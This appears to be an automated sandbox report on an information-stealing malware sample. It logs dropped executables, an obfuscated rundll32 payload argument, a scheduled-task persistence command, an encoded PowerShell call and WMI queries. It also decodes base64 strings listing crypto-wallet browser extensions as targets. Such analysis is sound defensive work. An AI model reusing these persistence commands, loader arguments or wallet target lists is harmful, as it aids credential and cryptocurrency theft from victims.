Source: C:\Windows\SysWOW64\fontview.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming\nsis_uns5aa2a3.dll",PrintUIEntry \|5CQkOhmAAAA\|1TKr5GsMwYD\|67sDqg8OAAl\|xYmwxC0TNSO\|1k8B3tZkgiyf2sAZQByAG4XAP9sADMAMgAuAKVkHwBs8\|AtBQPz8FP\|AFoAeQBPAGL7AEEnAEMAaAA3\|wBVAEsAZwBJ\|i0CWUiD7CjoBP8CAABIg8Qow\|\|MzMxMiUQkGP9IiVQkEEiJTPskCF0BSItEJDBvSIkEJIEBOEhvAL8ISMdEJBAtAet9DoEBEEiDwAGPAd0QgQFASDmWAHMl\|p8DiwwkSAPISF+LwUiLTKsBVHsA\|wPRSIvKigmI9wjrwWYFZUiLBPslYPPwM8lIi1D\|GEg70XQ2SIP\|wiBIiwJIO8L\|dCpmg3hIGHX\|GkyLQFBmQYPvOGt0BxERS3UI\|hEQeBAudAVIi78A69VIi0j9AMH+agBAU1VWV0FUv0FVQVZBV10BZv+BOU1aTYv4TP+L8kiL2Q+F\|P7z8ExjSTxBgTz\|CVBFAAAPheq+8\|BBi4QJiPPwhf\|ASI08AQ+E1t5qEYO8CYwtAQ+E\|cfz8ESLZyBEi\|9fHIt3JESLT\|8YTAPhTAPZSP8D8TPJRYXJD\|uEpPPwTYvEQYv\|EEUz0kgD04r\|AoTAdB1BwcrvDQ++wPoAAUQD\|dC\|EXXsQYH6qv\|8DXx0DoPBAf9Jg8AEQTvJc\|9p68aLwQ+3DP9ORYssi0wD6+90WDPtqhB0UUH7ixTBANMzyYoCf0yLwusPwcnIEXsDyOUQAUGKANUQ\|+0zwDP2QTsM+bbgEKYAg8YBg\|j\|CHLu6wpIi8v\|Qf\|VSYkE94P9xeQQxAQ7bxhy\|a9mAUFfQV5BXb9BXF9eXVszF0jvgexgAWQAi+no\|2b+\|\|9IhcAPW4SYdSBMja8BiysQ38gz\|+ibfSCNX\|8ETI1FRjPSi9\|L\|1QkaIAgTIuv4A+Ea3UgRagQM\|fAi9ORIEiJfCT1IKYgcIAgSIvwD\|OES3UgpiBQSI1W\|whEjUdASI2M\|SSFEUiL2Oh8\|a5+II1WSN4gEOIhzPbz8Ohn7yBEiwaN01cIQSCmIFjKIYmEaySAhxLe8\|CLDtogj1iJjCRxEQcwkSDo7THvIIucLTJMi12\|OkiD+2xIiiAw\|0yJZCQ4TIuk7hoyTIlchAGEJNy2hxGGko0RjUdLMIz7JPDz8EmL1Ojp7fwFMIqceDJIjYT+eDJBgPMhjU9s90QwGKQCg+kBdffzgbx4MiFSZXi\|dU2LhCT0IjGU+yT4NQHCSDvYcv84g\|psdjNEjXtJQPoAlEG4AJgAeqYgQMoi+HQZRLYwvsAxSY1UJGyRIEnfg+hs6GuCMEiL\|c6mIHhIhf90Es+LVUJMjjAbMUiN\|0wkQP\|XSIHEAHQhYSQtCC0B
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\dllhost.exe
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe
Source: C:\Windows\System32\dllhost.exe	Process created: C:\Users\user\AppData\Local\Temp\Library.exe "C:\Users\user\AppData\Local\Temp\Library.exe"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 5980 -s 648
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAOQAwAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\336E.exe C:\Users\user\AppData\Local\Temp\336E.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2560.exe C:\Users\user\AppData\Local\Temp\2560.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\226F.exe C:\Users\user\AppData\Local\Temp\226F.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2560.exe	Process created: C:\Users\user\AppData\Local\Temp\2560.exe C:\Users\user\AppData\Local\Temp\2560.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Process created: C:\Windows\SysWOW64\fontview.exe C:\Windows\SYSWOW64\fontview.exe	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming\nsis_uns5aa2a3.dll",PrintUIEntry \|5CQkOhmAAAA\|1TKr5GsMwYD\|67sDqg8OAAl\|xYmwxC0TNSO\|1k8B3tZkgiyf2sAZQByAG4XAP9sADMAMgAuAKVkHwBs8\|AtBQPz8FP\|AFoAeQBPAGL7AEEnAEMAaAA3\|wBVAEsAZwBJ\|i0CWUiD7CjoBP8CAABIg8Qow\|\|MzMxMiUQkGP9IiVQkEEiJTPskCF0BSItEJDBvSIkEJIEBOEhvAL8ISMdEJBAtAet9DoEBEEiDwAGPAd0QgQFASDmWAHMl\|p8DiwwkSAPISF+LwUiLTKsBVHsA\|wPRSIvKigmI9wjrwWYFZUiLBPslYPPwM8lIi1D\|GEg70XQ2SIP\|wiBIiwJIO8L\|dCpmg3hIGHX\|GkyLQFBmQYPvOGt0BxERS3UI\|hEQeBAudAVIi78A69VIi0j9AMH+agBAU1VWV0FUv0FVQVZBV10BZv+BOU1aTYv4TP+L8kiL2Q+F\|P7z8ExjSTxBgTz\|CVBFAAAPheq+8\|BBi4QJiPPwhf\|ASI08AQ+E1t5qEYO8CYwtAQ+E\|cfz8ESLZyBEi\|9fHIt3JESLT\|8YTAPhTAPZSP8D8TPJRYXJD\|uEpPPwTYvEQYv\|EEUz0kgD04r\|AoTAdB1BwcrvDQ++wPoAAUQD\|dC\|EXXsQYH6qv\|8DXx0DoPBAf9Jg8AEQTvJc\|9p68aLwQ+3DP9ORYssi0wD6+90WDPtqhB0UUH7ixTBANMzyYoCf0yLwusPwcnIEXsDyOUQAUGKANUQ\|+0zwDP2QTsM+bbgEKYAg8YBg\|j\|CHLu6wpIi8v\|Qf\|VSYkE94P9xeQQxAQ7bxhy\|a9mAUFfQV5BXb9BXF9eXVszF0jvgexgAWQAi+no\|2b+\|\|9IhcAPW4SYdSBMja8BiysQ38gz\|+ibfSCNX\|8ETI1FRjPSi9\|L\|1QkaIAgTIuv4A+Ea3UgRagQM\|fAi9ORIEiJfCT1IKYgcIAgSIvwD\|OES3UgpiBQSI1W\|whEjUdASI2M\|SSFEUiL2Oh8\|a5+II1WSN4gEOIhzPbz8Ohn7yBEiwaN01cIQSCmIFjKIYmEaySAhxLe8\|CLDtogj1iJjCRxEQcwkSDo7THvIIucLTJMi12\|OkiD+2xIiiAw\|0yJZCQ4TIuk7hoyTIlchAGEJNy2hxGGko0RjUdLMIz7JPDz8EmL1Ojp7fwFMIqceDJIjYT+eDJBgPMhjU9s90QwGKQCg+kBdffzgbx4MiFSZXi\|dU2LhCT0IjGU+yT4NQHCSDvYcv84g\|psdjNEjXtJQPoAlEG4AJgAeqYgQMoi+HQZRLYwvsAxSY1UJGyRIEnfg+hs6GuCMEiL\|c6mIHhIhf90Es+LVUJMjjAbMUiN\|0wkQP\|XSIHEAHQhYSQtCC0B
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\dllhost.exe
Source: C:\Windows\System32\dllhost.exe	Process created: C:\Users\user\AppData\Local\Temp\Library.exe "C:\Users\user\AppData\Local\Temp\Library.exe"
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAOQAwAA==

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0bf754aa-c967-445c-ab3d-d8fda9bae7ef}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\fontview.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\fontview.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\336E.tmp

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: C:\Windows\SysWOW64\fontview.exe

Process created: C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming\nsis_uns5aa2a3.dll",PrintUIEntry |5CQkOhmAAAA|1TKr5GsMwYD|67sDqg8OAAl|xYmwxC0TNSO|1k8B3tZkgiyf2sAZQByAG4XAP9sADMAMgAuAKVkHwBs8|AtBQPz8FP|AFoAeQBPAGL7AEEnAEMAaAA3|wBVAEsAZwBJ|i0CWUiD7CjoBP8CAABIg8Qow||MzMxMiUQkGP9IiVQkEEiJTPskCF0BSItEJDBvSIkEJIEBOEhvAL8ISMdEJBAtAet9DoEBEEiDwAGPAd0QgQFASDmWAHMl|p8DiwwkSAPISF+LwUiLTKsBVHsA|wPRSIvKigmI9wjrwWYFZUiLBPslYPPwM8lIi1D|GEg70XQ2SIP|wiBIiwJIO8L|dCpmg3hIGHX|GkyLQFBmQYPvOGt0BxERS3UI|hEQeBAudAVIi78A69VIi0j9AMH+agBAU1VWV0FUv0FVQVZBV10BZv+BOU1aTYv4TP+L8kiL2Q+F|P7z8ExjSTxBgTz|CVBFAAAPheq+8|BBi4QJiPPwhf|ASI08AQ+E1t5qEYO8CYwtAQ+E|cfz8ESLZyBEi|9fHIt3JESLT|8YTAPhTAPZSP8D8TPJRYXJD|uEpPPwTYvEQYv|EEUz0kgD04r|AoTAdB1BwcrvDQ++wPoAAUQD|dC|EXXsQYH6qv|8DXx0DoPBAf9Jg8AEQTvJc|9p68aLwQ+3DP9ORYssi0wD6+90WDPtqhB0UUH7ixTBANMzyYoCf0yLwusPwcnIEXsDyOUQAUGKANUQ|+0zwDP2QTsM+bbgEKYAg8YBg|j|CHLu6wpIi8v|Qf|VSYkE94P9xeQQxAQ7bxhy|a9mAUFfQV5BXb9BXF9eXVszF0jvgexgAWQAi+no|2b+||9IhcAPW4SYdSBMja8BiysQ38gz|+ibfSCNX|8ETI1FRjPSi9|L|1QkaIAgTIuv4A+Ea3UgRagQM|fAi9ORIEiJfCT1IKYgcIAgSIvwD|OES3UgpiBQSI1W|whEjUdASI2M|SSFEUiL2Oh8|a5+II1WSN4gEOIhzPbz8Ohn7yBEiwaN01cIQSCmIFjKIYmEaySAhxLe8|CLDtogj1iJjCRxEQcwkSDo7THvIIucLTJMi12|OkiD+2xIiiAw|0yJZCQ4TIuk7hoyTIlchAGEJNy2hxGGko0RjUdLMIz7JPDz8EmL1Ojp7fwFMIqceDJIjYT+eDJBgPMhjU9s90QwGKQCg+kBdffzgbx4MiFSZXi|dU2LhCT0IjGU+yT4NQHCSDvYcv84g|psdjNEjXtJQPoAlEG4AJgAeqYgQMoi+HQZRLYwvsAxSY1UJGyRIEnfg+hs6GuCMEiL|c6mIHhIhf90Es+LVUJMjjAbMUiN|0wkQP|XSIHEAHQhYSQtCC0B

Source: 16.3.226F.exe.d030000.1.unpack, BrEx.cs	Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV
Source: 16.3.226F.exe.d030000.0.unpack, BrEx.cs	Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV
Source: 18.2.ngentask.exe.400000.0.unpack, BrEx.cs	Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tu